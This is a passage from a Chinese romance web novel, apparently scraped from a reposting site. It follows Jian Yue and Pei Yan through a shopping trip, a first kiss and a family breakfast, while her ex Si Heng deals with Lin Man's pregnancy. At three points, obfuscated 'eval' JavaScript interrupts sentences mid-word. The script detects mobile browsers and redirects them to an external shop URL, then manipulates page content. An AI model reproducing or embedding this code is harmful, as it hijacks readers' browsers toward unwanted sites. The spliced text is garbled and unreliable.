趁着他进去的功夫,简月立刻站起,拿着图册来到SA面前,翻到最后几页,指了指上面一个东西,低声对她道:“他试过的那些加上这个,帮我包起来。” SA看清图册上的东西后,几乎是强忍着诧异才没有抬头看简月。 图册上的东西可是…… 他们要玩这个吗? “对了,这个包好后记得单独给我。”简月说完拿出卡,“刷这张卡。” SA点点头,恢复成处变不惊的职业微笑,接过卡转身离开。 没多久,裴言从试衣间出来,身上已换成了那件自己选的黑色薄毛衣。 看到他的那一瞬间,简月的眼睛直了直。 不得不说,这件毛衣穿在他身上也是超出她想象的好看。 毛衣是高领的,将他原本就修长的脖颈修饰得更加吸睛,使他整个人看起来就像一只高傲的黑天鹅,神秘又优雅。 和他穿西装是完全不同的风格。 再配一件风衣就更好看了,简月忍不住想。 自己男朋友穿什么都出众又好看,她欣赏的同时又忍不住骄傲。 脑海里只剩下一个想法在不断萦绕。 太好看了。 裴言太好看了。 她完全不认为是这件毛衣设计得出色。 从头到尾,她想的都是不愧是裴言。 连一件平平无奇的毛衣也能穿得这么好看。 男人走到镜子前略略看了一眼,接着回头,对上她的目光:“你觉得怎么样?” “好看。”简月回过神,走上前去肯定道,“好看。” 她得意道:“我已经让SA去刷卡了,这些我都买了,你穿着好看,我买得也不亏。” “已经去刷卡了?” “当然,这件毛衣你喜欢,我怎么可能不买。不过看到你出来,我才发现应该再给你买一件风衣。”她皱了皱眉,“不过今天有点来不及了,我们不是还要和我朋友吃饭吗,下次吧?” 她戳了戳他的手指:“下次再来带你买。” 裴言:“……” 他想说的其实不是买不买毛衣的事。 而是买衣服的这么多钱,她都一个人付了吗? 然而再一想,想到她给他花了这么多钱,专门耗了一下午就只为给他挑衣服,他心里就止不住地发甜。 像酿了蜜一样。 衬衫是她买的。 领带是她买的。 都是她买的。 都是她送给他的礼物。 一想到这些,他就一个字也说不出来了。 他握住她戳来戳去的手指,笑了笑:“好,那下次你的衣服换我买。” 等裴言换下试穿的毛衣,SA也回来了。 她将卡还给简月,礼貌问道:“衣服已经打包好了,您是要现在带走,还是填写地址我们给您送过去?” “地址吧,让他填。” SA拿出平板递给裴言,接着又拿出一个包装精致的小盒子递给她:“女士,这是你要求的单独打包的东西。” 正在填地址的男人不由抬头,诧异看向那个盒子:“你还买了别的?” “对。”简月接过盒子,努力若无其事地收进包里。 “买了什么?” “不告诉你。” 裴言:“……” 见他脸色一僵,简月忍不住笑了,补充道:“私人物品,满意了吗?好了,不许问了。” 裴言:“……” * 两人六点到餐厅的时候,姜予彤已经到了。 来到座位上放下包,简月先为他们做了介绍。 “予彤,这是裴言,你知道的。” “裴言,这是姜予彤,是个演员。” 两人初次见面,不怎么熟,便都客气礼貌地笑了笑。 等介绍环节一过,简月就迫不及待地拉起姜予彤:“予彤,快,陪我去一下洗手间。” 她回头看了一眼裴言:“你帮我们点菜,好不好?我的口味你知道,予彤不吃香菇。” “好。”裴言点头。 离开私人隔间来到洗手间,姜予彤先诧异开口:“怎么了,急急忙忙拉我过来?” 简月深吸一口气,捂了捂发热的脸,看向姜予彤:“我给他买了样东西,我觉得我疯了。” “什么东西?” “我现在冷静下来想想,又有点不敢给他用了,你说我是不是直接扔了,永远不让他知道比较好?” “???”姜予彤麻了,“到底是什么东西?” 简月的心跳剧烈得可怕,她努力平复了下呼吸,凑到姜予彤耳边,轻声说了两个字。 ——“腿环。” 26. 骄傲-26% 姜予彤睁大了双眼。 简月说完又恢复成正常距离,看着她一脸羞耻地问:“这样是不是不太好?我感觉我脑子有点不清醒,你要是觉得不好,我就去扔了。” 说话的同时,她脸上晕起一层淡淡的绯色。 姜予彤:“……” 她真的不是进组了十年吗? 她看向简月:“我觉得你对他不是有点上头。”姜予彤认真道,“你是被他鬼迷了心窍。” 简月大为震惊:“什么叫鬼迷心窍,我就是觉得他好看而已!” 姜予彤一脸不信:“那他亲你你会躲吗?” 简月怔了怔。 虽然他们还没亲过,但回想前几次差点亲上的时机,她好像…… 的确没有躲的意思。 她不甘示弱地反问:“不会躲就代表我对他鬼迷心窍了?” “那我现在从大街上随便拉一个人过来亲你,你躲不躲?” 躲。 脑海里闪过这个答案,简月下意识要回答,突然想到什么,反驳道:“不对啊,我本来就对裴言有好感,他怎么可能和大街上随便拉来的人一样?” “那你现在对他还是好感吗?” “当然。” 姜予彤忍不住扶额。 她都有点拜服大小姐的反应迟钝了。 哪怕是个傻子过来,也能看出她喜欢他,她早就动了心。 偏偏只有她自己不觉得。 骄傲如简月,怎么可能允许仅仅只是好感的人亲她? 亲吻这样极致亲密的事,能和牵手拥抱相提并论吗? 她允许裴言亲她,只有一种可能,那就是她喜欢裴言。 姜予彤只好换个方向问:“那你想亲他吗?” 简月:“……” 她看着姜予彤,面露迷茫。 “你也不知道?”姜予彤接着问。 简月点点头。 姜予彤还能说什么呢? 她只能叹一口气,欲言又止地暗示道:“那你好好想想。” 简月陷入了沉思,她推门准备回去,姜予彤在她身后道:“走什么?事儿还没说完呢。” 眼见简月转回来,她好笑道:“腿环的事,你忘了?” “……”简月抚了抚额,“我忘了。” 姜予彤忍住笑:“那我长话短说,最后再说两句。” “第一句,挺好的,你都买给他了,不用白不用,而且很多制服上都有腿环,你有什么不好意思的?” 简月赶紧点头,一副被说服的样子:“有道理。” “第二句。”姜予彤顿了顿,“一个多月没见你,司衡的事对你还有影响吗?” 蓦然听见这个名字,简月先是一愣,继而平淡道:“没了,早没了,之前挺恨他,但现在觉得恨他也没什么意思。” 反正来日方长,有空的时候踩他一脚解解气就够了。 她的时间很宝贵,浪费在司衡身上,太不值了。 她甚至觉得把时间用在给裴言买衣服上,都比用在司衡身上值得。 她淡淡说完,拉起姜予彤的手:“别提他了,渣男有什么好提的,浪费时间。我们赶紧回去吧,出来这么久,万一裴言以为我们掉厕所了呢。” 姜予彤没说话,被简月拉着往出走,忍不住低头笑起来。 她从前看过一句话,大意是,放下一个人的最好方法,就是爱上另一个人。 简月虽然还没爱上另一个人,但她看得出来,简月对裴言的兴趣已经远远超过了司衡。 她没有兴趣提起司衡,却在不断地提起裴言。 像简月这样的人,彻底拒绝在一个人身上浪费时间,就意味着她彻底放下了他。 看到简月又恢复成以前的样子,姜予彤是真心为她开心。 她不得不承认,裴言是一个很有本事的人。 但愿裴言不会像司衡一样辜负简月。 * 回到餐桌,裴言已经点完了菜。 他说他各种口味都点了一点,不够再加。 简月在他身边坐下,闻言举起杯子,弯唇而笑:“辛苦了。” 坐在对面的姜予彤眼角一抽,开始暗暗发誓再也不跟他们一起出来吃饭了。 她简直就是个电灯泡! 不过这顿饭本来也只是走个形式,简月说了,主要目的就是带男朋友来见见她。 让她和裴言互相知道有这么个人就够了。 一顿饭礼貌客气地吃完,饭后,姜予彤又要回剧组。 按照拍摄进度,她还有半个月左右才能杀青。 在路边陪姜予彤等车的时候,简月抱住她,说:“等你杀青放假了我们再好好聚。” 姜予彤笑着说好。 送完姜予彤已经晚上九点。 裴言开车送她回了家。 楼下分别的时候,裴言下了车,对她说晚安。 简月看着路灯下那个挺拔的身影,忽然有了个想法。 她走上前,笑着问道:“还有呢?” 灯光下,男人的眉眼被晕染得很温柔,他微微一笑:“还有什么?” 简月又靠近了他几分,仰起头,直勾勾地盯着他:“你觉得呢?” 这么近的距离,这么安静的环境,这么温柔的气氛,难道不是一个接吻的好时机吗? 他想了想,缓缓低下头。 像老电影的滤镜一样,眼前的世界被蒙上一层暖黄色。 男人的脸越来越近,他伸出双手,捧起她的脸。 简月一眨不眨地盯着他。 最后,额头一凉,男人的唇吻在她额头上。 他吻得很轻,一触即分。 男人眼里笑意浅浅:“这样呢,够了吗?” 简月还是看着他,没有说话。 她发现她那个想法的验证结果,竟然是真的。 她和裴言在一起至今,有三次气氛恰到好处的机会。 第一次是他的办公室,第二次是茶馆,第三次就是刚才。 按理来说,就算前两次被打断,只要裴言想,他们完全可以之后继续。 前提是,他想。 她之前一直以为他们没有亲,是因为她没有主动推进。 可此刻她才发现,不是她没有推进。 是裴言不想。 为什么? 他为什么不亲她? 连姜予彤都看出他很喜欢她了,既然喜欢她,为什么不亲她? 简月满脑子疑问,最终归为一个想法。 她非得知道原因。 想了想,她搬出另一个理由:“对了,我今天早上起来的时候发现灯泡坏了,你上楼帮我换一个灯泡好不好?” 裴言不疑有他,点头道:“好。” 简月拉起他的手,带他上了电梯。 指示灯停在十一层,电梯门打开,简月向右走去,先一步开了门,然后用眼神示意他先进。 裴言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175067|145339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看一眼漆黑的房间,仍然不疑有他,走了进去。 简月“啪”地一声关上门,转身按住裴言想开灯的手,将他推到门上,踮脚凑上去,一只手勾住他的脖子,认真疑惑道:“裴言,告诉我,你为什么不亲我?” 房间里没有开灯,只有浅浅月光从窗外透进来,落地如薄霜。 被她以这样的姿势堵在门背后,男人的呼吸急促了几分。 他滚了滚喉结,努力平静地反问:“灯泡没坏,是吗?这才是你的目的。” “是。”简月挑了下眉,一副吃准他不会对她怎样的模样,“我骗了你,那又怎样?我就是好奇,一而再再而三,你为什么不亲我?” 因为,人分生理喜欢和心理喜欢。 在生理上,有人会因为一个吻产生感觉,那么反过来,也有人会因为一个吻而确认对方不是自己想要的那个人。 和她在一起太美好,他害怕一个吻后,简月发现他不是她想要的那个人。 可这些,他要怎么说给她听? 男人不说话,简月眯了眯眼,毫无罢休的意思。 她保持着当下的姿势不变,单手从包里摸出那个盒子。 摸出盒子后,她又单手将盒子拆开,从盒子里取出了那样东西。 “对了。”她说,“我有礼物送你,就是今天你一直在好奇的那个盒子。” “什么?” 话音落下的瞬间,他左边的大腿骤然被一股力量收紧,一个环状物扣住了他的大腿。 “腿环啊。”简月笑着说。 微弱的月光下,她脸上的笑像挑衅,也像挑逗。 他心里某种喷薄汹涌的感情也好像随着腿环,被一根线给用力收紧了。 可那根线的作用微乎其微,汹涌热烈的感情不会被一根线给束缚住,他知道要不了多久,那根线就会断开。 然后汹涌的感情会以一种更激烈的方式爆发出来。 仿佛那根线的作用就只是为了给他蓄力,然后爆发。 裴言的呼吸越来越急促,他的唇紧抿成一条线。 简月看着他的唇线,生出一种恼怒又恶劣的想法,好想撬开。 撬开,伸进去。 鬼使神差的,她想起晚上姜予彤对她说的一句话。 ——“那你想亲他吗?” …… 现在她知道答案了。 她想。 他越是严肃压抑,她就越觉得他禁欲性感,越想亲他。 可话到嘴边却变了意思:“为什么不亲我,裴言,你不敢吗?” 说着,她曲起右腿,蹭了蹭绑在他腿上的腿环。 她就是在故意挑逗他。 黑暗里响起一声无奈的轻笑。 男人骤然握紧她的手腕,几乎是瞬间就和她调换了位置,将她困在门背后的狭小空间里。 他扣紧简月的腰,声音低哑道:“有什么不敢,简月,我是个男人。” 这样挑逗他,真以为他是吃素的吗,真以为他没有反应的吗? 心里的那根线终于断裂,他藏了很多年的爱意爆发出来,流经全身。 像火一样,烧毁他的理智,烧得他全身滚烫。 他忍不住了。 她都这样对他了,他怎么可能忍得住? 只剩下身体的本能在叫嚣,靠近她,亲近她,拥有她,占有她。 情欲的气息在空气里发酵,裴言再也控制不住地低下头,重重吻上了简月的唇。 27. 骄傲-27% 男人的唇很软。 亲上去的瞬间就忍不住轻咬一口。 男人的唇也很滚烫。 不同于他外在冷淡的气质,他的唇竟然是滚烫又火热的。 唇齿相交,吐息缠绕之间,她甚至从他口中尝到了一点淡淡的甜。 裴言的嘴……真的非常好亲。 他的身体将她狠狠堵在门背后,吻得用力又放纵,吮吸间带着属于成年男性的侵略性,像要把她的空气都抽干。 像是忍了很久一样。 这还是她第一次见他这么主动强势的一面。 简月用力抱紧他脖子,不甘示弱地回吻。 脑子里好像就剩下一个想法,再亲一次,再亲一次。 偶尔喘不过气的时候,裴言会停下来放她休息,但下一秒,简月又亲了上去。 黑暗中,明明什么都模糊一片,什么都看不清,可男人的五官却从未如此深刻地映在她眼中。 他有一双好看的眼睛,左眼的眼尾还有一颗蛊人的泪痣。 像聊斋故事里蛊惑书生的狐狸精,招招手,眨一眨眼,就能将书生迷得神魂颠倒。 简月伸出手,拇指按在他眼尾的泪痣处。 一遍又一遍地摩挲。 或许是她摩挲的次数太多,或许是她太用力,男人的左眼尾渐渐红了。 像是动了情,又像是哭过一样。 唇上一轻,他终于停下来,握住她手腕,气息不匀、声音沙哑地说道:“乱摸什么?” 简月轻喘了几口气,笑着回答:“我有没有告诉过你,我特别喜欢你的泪痣。” “特别喜欢?”他反问,“那别的呢,只喜欢泪痣吗?” “别的,有待观察。”她仍是笑着回,没有发现这句话说完后,男人的眸光黯了黯。 两人一吻结束,却都没有开灯的意思,只轻轻喘着气看着对方。 片刻后,简月得意笑了:“你明明很想亲我,为什么一直不亲?” “亲了你,你跟我分手怎么办?” 分手?原来他担心的是这个? 简月恍然大悟,忍不住又笑,解释道:“那我要不要告诉你,我没那么容易跟你分手。” “我既然答应了和你在一起,就肯定想过接下来会发生什么,裴言,我还没有那么地——”她顿了顿,逐字强调,“不敢承担。” 她一向敢作敢当,敢为自己说过的每一句话负责,也敢为自己说过的每一句话承担后果。 绝不后悔。 “所以。”她揪住他的领带,快速在他唇上又亲了一口,“大胆一点,我是你名正言顺的女朋友,你亲自己的女朋友,天经地义。” 男人的眸色变得幽深。 不等她退回,他扣住她的后脑,再次吻了下来。 不知亲了多久,两人才舍得分开。 他喘着气低头看她,眼里浮起一层浅浅的笑意,轻笑道:“大胆一点,是吗?难怪你这么大胆,给我戴这个东西。” 说着,他曲膝顶了顶她的膝盖。 想到那个腿环,简月脸上一热。 自他戴上后她还没好好看过,但她想,效果一定很好。 在她没看过之前,她不许他摘下来! 于是她仰起脸,强装镇定道:“不行吗?我就喜欢这个。” 头顶一重,裴言摸了摸她的头发,额头抵上她的额头,语气几近纵容:“行。” 就这一个字,简月的心跳又变快了。 她推了推裴言,说:“你把灯打开,我想看看你戴上后的样子。” 男人依言退后几步,开了灯。 骤然亮起的光让简月不适应地眯了下眼。 她抬起手遮了遮眼睛,从指缝中隐隐看到了一双修长的、戴着腿环的腿。 等适应了房间里的亮度,她将手指移开,眼前的画面立刻让她有一种血往脑门上冲的感觉。 银色的腿环套在他的大腿处,勾勒出他流畅有力的肌肉线条,瞬间为正经的西裤添了几分不正经。 修身的西裤原本已经很好地衬托出他笔直的长腿,可有了腿环后,就仿佛重点内容被记号笔标出,让人情不自禁地将目光放在被束缚的地方上。 紧致的大腿肌被腿环牢牢包裹着,禁欲与诱惑两种矛盾的气质在他身上交织着,反差感拉满,看得简月脸红心跳。 他戴腿环怎么能这么好看,这么有张力? 小小一个腿环的效果,几乎已能让她想见他穿衣显瘦脱衣有肉的身材。 裴言当真是能把任何东西都穿出百分之二百的效果。 简月直勾勾地盯着他的腿,脸越来越烫,有些不知所措。 还是裴言先有了反应,他走近几步,低哑的声音在头顶响起:“看够了吗?” 骤然的靠近让简月的心漏跳一拍,她匆忙移开视线,磕绊道:“……够了。” “除了这个,还有别的喜欢的吗?”他微微俯身,捧起她的脸,让她与他平视。 “什么?” “除了腿环,还有别的要让我试的吗?” ……没、没了。 其实腿环也只是看他试衣服看上了头,一时兴起拿的而已。 她应该暂时不打算和裴言做点什么。 应该。 “那你的目的达到了,腿环也看够了,我是不是可以取了?” “啊?”简月有些没反应过来,“这么快?” “我总不能戴着这个回家吧?”他好笑道。 那确实不能。 别人会不会看到是其次,最重要的是,她不想让别人看到这样的裴言。 只给她一个人看,只满足她一个人就够了。 意识到自己在慢慢对裴言生出占有欲,简月怔了怔。 随即又想开,她对自己的男朋友有占有欲怎么了,人之常情! 简月:“你要回家了?” “嗯,我们才在一起不久,在你这里过夜对你影响不好。” 简月默了默,点头。 他没把话说开,但他们都心知肚明在一起过夜意味着什么。 现在……还不合适。 “那你路上小心,到家给我发消息。”她说。 裴言笑着说好。 临走前,他将腿环取下来交给她,说:“这个还是你来保管吧,你什么时候想看,什么时候来找我。” 腿环的内侧还留有男人的余温,简月摸到温热的地方,思绪忍不住飘了一下,脸又开始发烫。 她飞快将腿环收进盒子里,踮脚抱住男人的腰,主动亲了一下他脸颊,微笑道:“嗯,晚安,明天见。” 裴言低下头,回吻在她的唇上:“晚安,明天见。” 等他离开,简月缓了许久才摸出手机,克制着疯狂上扬的嘴角,给姜予彤发消息。 简月:[受你启发,我发现我确实想亲他。] 简月:[然后我们亲了。] 姜予彤:[不愧是你。] 她接着打字,像发现新大陆一样跟姜予彤分享。 简月:[我还发现,我好像有点喜欢上他了。] 不然为什么面对他时,总容易心跳加速,脸颊发烫。 姜予彤:[黑人问号.jpg] 姜予彤:[你才发现?] 简月:[黑人问号.jpg] 简月:[什么意思哦,你早就看出来了?] 姜予彤发了个高深莫测的表情包,然后回:[旁观者清。] 行吧。 简月捂了捂脸,想起这些天的一切,想起刚刚经历过的,继续打字。 简月:[我好开心。] 好像被多巴胺包围了一样,她就是忍不住地开心,做什么都开心,一想到裴言就开心,心情变得柔软无比,连脾气都好到不像话,对很多不耐烦的事情生出了无限的耐心。 她当时和司衡在一起的时候也是这样吗? 简月想不起来了。 也许有,也许没有。 但那些都不重要了。 重要的是现在,和未来。 姜予彤好一会儿才回复,她说:[替你开心,真的。] * 时间来到周一,还有一天,简月就要回家陪父母。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14214759|145339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到此,她忍不住问裴言:“都说一日不见如隔三秋,我回家那几天不能陪你,你会想我吗?” 说这话时,裴言正在办公室的另一边给她泡茶,闻言,他回头看了她一眼,言简意赅道:“会。” “你会怎么想我?”她趴在自己的胳膊上,欣赏着男人泡茶的动作。 他没穿外套,里面的衬衫正是她昨天买的其中一件,纯黑色的衬衫卷起袖口,露出一截小臂,隐约可见他流畅有力的手臂线条。 顺着线条向下看,是他修长匀称的手。 实在是一幅养眼至极的画面。 “你希望我怎么想你?”裴言转回去,将热水倒入杯中。 “当然是每时每刻都在想我了。”她笑吟吟道,“不过这是理想状态,实现起来太困难了,就换成一天三次早中晚问候吧,怎么样?” “好,听你的。”他低头吹一吹滚烫的茶,端着茶杯向她走来。 简月从椅子上坐直,接过他手里的茶,满意地牵住了他的手。 裴言微微一笑,低头摩挲起她的手:“正好,等你回来的时候司知行的证据也整合好了,你有好戏可以看了。” 提到司知行,简月精神一振,关切道:“要我帮忙吗?如果你需要资金,我可以帮你。” 他微笑摇头:“你放心,我有把握。” 再者说,他并不想简月参与到风险当中。 就算有万分之九千九百九十九的可能他会成功,他也不想让简月冒那万分之一的险。 所有的风险和后果,他来承担就好了。 这本来就是他和司衡之间的较量。 简月定定看了他一会儿,继而笑了:“嗯,我相信你。” 司衡于她已是过去,他背叛她耍了她,她也泼了他两杯酒,扇了他一巴掌,认真地说,她确实不打算在司衡身上浪费什么时间了,但如果能看到他落魄,能看到他跌入谷底,简月想,她还是很乐见其成的。 晚上一起吃过饭,裴言送她到楼下。 分别前,想到接下来两天见不到裴言,简月忍不住又回身抱住了他。 她侧脸贴在他的胸膛前,努力听他的心跳声:“记得给我发消息。” 男人回抱住她,应道:“嗯。” “早中晚都要发,还要跟我讲你干了什么,吃了什么。” 他忍不住笑:“干了什么吃了什么这么无聊的内容你也要知道?” “我不觉得无聊。” 平静又认真的一句话,突然击中了他心里某处最柔软的地方。 是错觉吗,他竟然感受到了她的在乎。 不介意废话,也不在乎内容的无聊,只在乎他这个人。 他嘴角的笑滞住,说不出话,只能用力抱紧了她。 良久,他说:“好,我发给你。” * 周二一大早,白叔就带着司机等在楼下,准备接她回家。 江颖之前就告诉过她白叔会来接她,所以简月起得很早。 却不想有人更早。 早上6点32分,裴言的消息已经静静躺在消息栏里。 她点开,看到一条“早安”的消息和一张早餐的配图。 一天的好心情似乎就此开始,简月忍不住笑了,也回了一个“早安”过去。 坐上车回到自家的大别墅,江颖和简怀英已经在等她了。 他们没吃早饭,就是为了等她回来一起吃。 每次都是这样,她说过无数次不用等她一起吃,饿了就自己先吃,可到了下一次,他们还是会等。 简月心里一暖,亲亲热热挽上江颖的手臂,又看向简怀英道:“走啦,爸,一起去吃饭。” 坐上餐桌,看到阿姨准备好的早饭,简月突然想起什么,举起手机拍了张照,给裴言发了条消息才若无其事地拿起筷子开始吃饭。 对面的江颖和简怀英互看一眼,不由露出奇怪神色。 最后还是江颖先开口,问道:“月月,你在给谁发消息?是不是最近新交了男朋友?” 简月:“……?” 这怎么看出来的? 28. 骄傲-28% 不需要简月回答,只看她的反应,江颖就确认了自己的猜测:“真的交了男朋友?” 连简怀英也极有兴趣地看着她。 简月:“……” 她不打算隐瞒,于是点了点头,接着反问:“你们怎么看出来的?” “吃饭前先拍一张照,不可能是予彤,那就只能是新男朋友了。”江颖说着舀了一碗粥递给她,关心道,“月月,你和谁在一起了?” 简月接过粥,低头喝了一口,思考着怎么回答。 几秒后她抬头,坦诚道:“裴言。” 餐桌上有一瞬的安静。 简怀英微微蹙眉,江颖则张了张嘴,问道:“裴?亚恒那个裴家?” 显然,他们都知道裴言这个名字意味着什么。 简月点头。 她继续吃饭,江颖和简怀英却有些吃不下去了。 他们看看简月,又看看彼此,面面相觑。 简怀英开口:“你们什么时候认识的?” “我和司衡分手那天。” “这么巧?”简怀英的眉蹙得更深了。 “还好吧,他暗恋我,当然要趁我分手时抓住机会了。” “他是这么跟你说的?你相信他?”简怀英继续问。 简月想了想,回答:“目前来说,是的。” 简怀英沉默下来,低眸似在沉思。 江颖看他一眼,接着问她:“月月,亚恒能在几年内做到和创世平分秋色,裴言绝不是个简单的人。”她满脸担忧,“他刚好在你分手那天出现,你有没有想过,他可能另有目的?” 简月喝粥的动作停下,沉默着。 她就知道说出裴言后会是这样的效果。 他们的反应简直和司衡如出一辙。 所有人都觉得裴言喜欢她是别有用心,他的出现和接近都是刻意为之,没人相信裴言是真的喜欢她。 就连后期相信裴言喜欢她的姜予彤,在一开始也是不相信的。 可是,她相信。 她相信一个人的眼睛不会说谎。 他们不相信,只是因为他们没有见过裴言在她身边看她的模样。 简月笑了笑,看向江颖:“妈,我心里有数。” “可我们……”江颖欲言又止地看一眼简怀英,换了个问题,“你喜欢他吗?” 简月撑起下巴:“有一点。” “打算和他走多远?” 简月想了想,如实道:“不知道,会分手也说不定。” 毕竟未来的事谁说得准呢? 当初和她订过婚的人,不也一样分手了吗? 得到这两个答案,江颖似乎放心了点,她重新露出笑容:“那你自己决定吧,不过有机会的话,可以带他回来见见我们。” 看看他到底有没有其他心思。 简怀英也点头:“过几个月如果你们还在一起,就带回来见见吧。” 简月笑笑:“好啊,等我们稳定一点,我就带他回来见你们。” 结束裴言的话题,江颖和简怀英终于有胃口继续吃饭了。 顺便,他们向她宣布了一件事。 江颖:“对了,最近天气不错,我和你爸辛苦了半辈子,打算出去玩玩。” “玩玩?”简月一愣,“去多久?” “一两个月。”简怀英道,“十月长假后就动身,最近天气不错,又是淡季,挺适合出去玩的。” 江颖跟着接:“最近几个月我们刻意没插手公司的事,只翻了月报,看你都处理得挺好的,这才下定决心出去玩玩,月月,不用担心,相信自己,你已经可以独当一面了。” 简月还在消化他们要出去玩的决定,闻言迟钝点了点头。 他们还说,这几年他们只就近在国内转转,等过几年公司彻底交给她,他们再出国看看别的地方。 言语之间,颇有自由的感觉。 理性上,简月觉得这样挺好,年轻的时候他们操劳公司,养育她长大,到现在也该好好休息为自己而活了。 但感性上,简月又一次不受控地想起江颖说过的话。 ——“我有时候真希望自己谁都不是,有一天离家出走跑到一个谁也找不到的地方,然后再也不回来。” 这么多年了,它还是如一团阴影一样,如影随形地笼罩着她。 * 回家住的两天,简月经常能看见江颖和简怀英在收拾东西,讨论着带什么,去看哪里的风景。 她也会认真地给着自己的建议。 但看着家里的部分东西变空,想到之后的一两个月这里都无人居住,她就有种心情低落的感觉。 每当这个时候,简月就会特别想裴言。 幸好,裴言在按她所说,一日三次地给她发消息,耐心地告诉她,他今天做了什么,吃了什么。 简月在看到这些消息后,会忍不住笑,特意把裴言发来的图片圈出一样再发给他,问他:[这是什么,我也想吃,做给我吃好不好?] 然后裴言回:[好,你来找我,我给你做。] 一字一句,皆是偏爱。 晚上睡觉前,她还会和他开视频聊天。 除了正事,还有废话,譬如他家里的灯是什么牌子,他衣柜旁边放的是什么,他早上几点起的床,晚上几点到的家。 等到连废话也聊完的时候,简月不想挂视频,就枕在胳膊上静静看着他处理文件。 男人专注认真的样子很迷人,即使什么话也不说,只听着他敲击键盘的声音,她也觉得安心。 最后简月在屏幕这边睡着,屏幕那边的男人发现后会轻笑一生,然后靠近屏幕,在她耳边落下一声温柔的晚安。 * 周三晚上,司衡关了灯准备下班,推开门却看见林曼。 似乎是算准了他下班的时间,她来得刚刚好。 林曼仰头看他:“我找你有事。” 司衡眼底出现一点倦意,转身走回去:“进来说,把门关上。” 林曼依言走进去。 关好门,她开口:“明天我要去产检。” 背对着她的男人毫无反应,连头都没回,他说:“所以?” “所以你要陪我去。”林曼肯定道。 男人终于有了反应。 他转身,视线落向她的小腹——怀孕几个月,那里已经开始显怀。 他面无表情地扫了一眼,视线移至她脸上:“又不是我的,我为什么要陪你去。” “是叔叔让你陪我去的。”林曼说,“你不是需要他认为这孩子是你的吗,你连产检都不陪我去,他怎么相信?” 司衡眼里疲倦更甚。 这些天他一直都很累,眼下一层青黑,仿佛已经很久没好好休息过了。 他在沙发上坐下来,揉了揉眉心,半晌后妥协:“行。” “那明天早上八点,你来接我。” 司衡没说话。 林曼知道他什么脾气,他懒得回答,不代表他不接。 她继续:“对了,叔叔还有话让我转达你。” “说。” “他说别再把时间浪费在姓裴的身上了,你的目标应该是亚恒,而不是姓裴的。” 话未说完,林曼就感觉到一道冰冷的视线压了过来。 司衡抬起头,冷声道:“我乐意。” 林曼对此毫不意外。 司知行不知内情,不知道司衡究竟有多喜欢简月。 甚至就连简月自己,也不知道司衡为了她,究竟做出了多么疯狂的事。 可她知道。 正因为知道,她才理解司衡为什么对裴言有那么强烈的敌意。 她摇摇头,叹气道:“她都不喜欢你了,你何必呢?” 司衡瞥她一眼,冷淡道:“关你什么事。” 林曼:“OK,不关我的事,那你继续。” 她无所谓地耸肩,转身离开。 办公室恢复寂静后,司衡看向窗外。 街上华灯璀璨,人潮汹涌,他面无表情看了许久,抬手盖住眼睛。 不知道简月现在在做什么。 不知道她过得好不好。 不知道裴言有没有欺负她。 他想她想得发疯。 * 周四,简月从别墅开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233511|145339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车回市区,在路上,她看到了一对熟悉的男女。 那辆载了她无数次的车停在路边,男人站在树下,手里捏着一团还没用过的垃圾袋,女人则撑着一只垃圾袋,蹲在树下呕吐不止。 她的小腹微微隆起,看起来有一定月份了,再一次向简月证明着,这个孩子早在她和司衡分手前就有了,司衡早就把她绿了。 简月扫了一眼,认出他们是谁后就没有再看,漠然移开了视线。 她本来不想看到的,奈何那辆车太熟悉,那个男人也太熟悉。 她踩下油门,加速从他们背后开过。 司衡背对马路,没有看到她。 又向前开了一段路,拐过一个弯后,简月用蓝牙给裴言打了个电话。 她说:“你在哪儿,我想见你。” * 裴言在亚恒。 简月来到亚恒楼下,把车停好,脚底像踩了风一样一路直奔三十三层,敲响了总裁办的门。 门打开,不待男人做出反应,简月先上前抱住了他。 她抱得很紧很用力,将脸埋在他身前,无声笑了笑,说:“好久不见。” 明明只分开了两天,明明每晚都在和他的视频通话中入睡,可她就是有一种好久不见他的感觉。 裴言猝不及防被抱住,身体僵了一下才回抱住她,问道:“怎么了?” 说不清是为什么,他觉得今天的简月有些反常。 简月却只是摇头:“没什么,想你了,抱一下不可以吗?” 她从他怀里微微仰头,反问:“你不想我吗?” 想。 当然想。 他低头在她额上落下一吻,应道:“想。” 简月笑了,可笑着笑着她又敛了笑意,说:“我有问题想问你。” “嗯?” ——你会不会像司衡一样辜负我? 简月张了张嘴,却没问出来。 她突然意识到自己在犯蠢。 无论对方是什么样的人,她得到的回答都只会有一种,那就是“不会”。 这个问题其实没有任何意义,只能徒增心理安慰。 更何况她和裴言在一起才十来天,她连他们会不会走下去都说不准。 现在问这个问题,太早了。 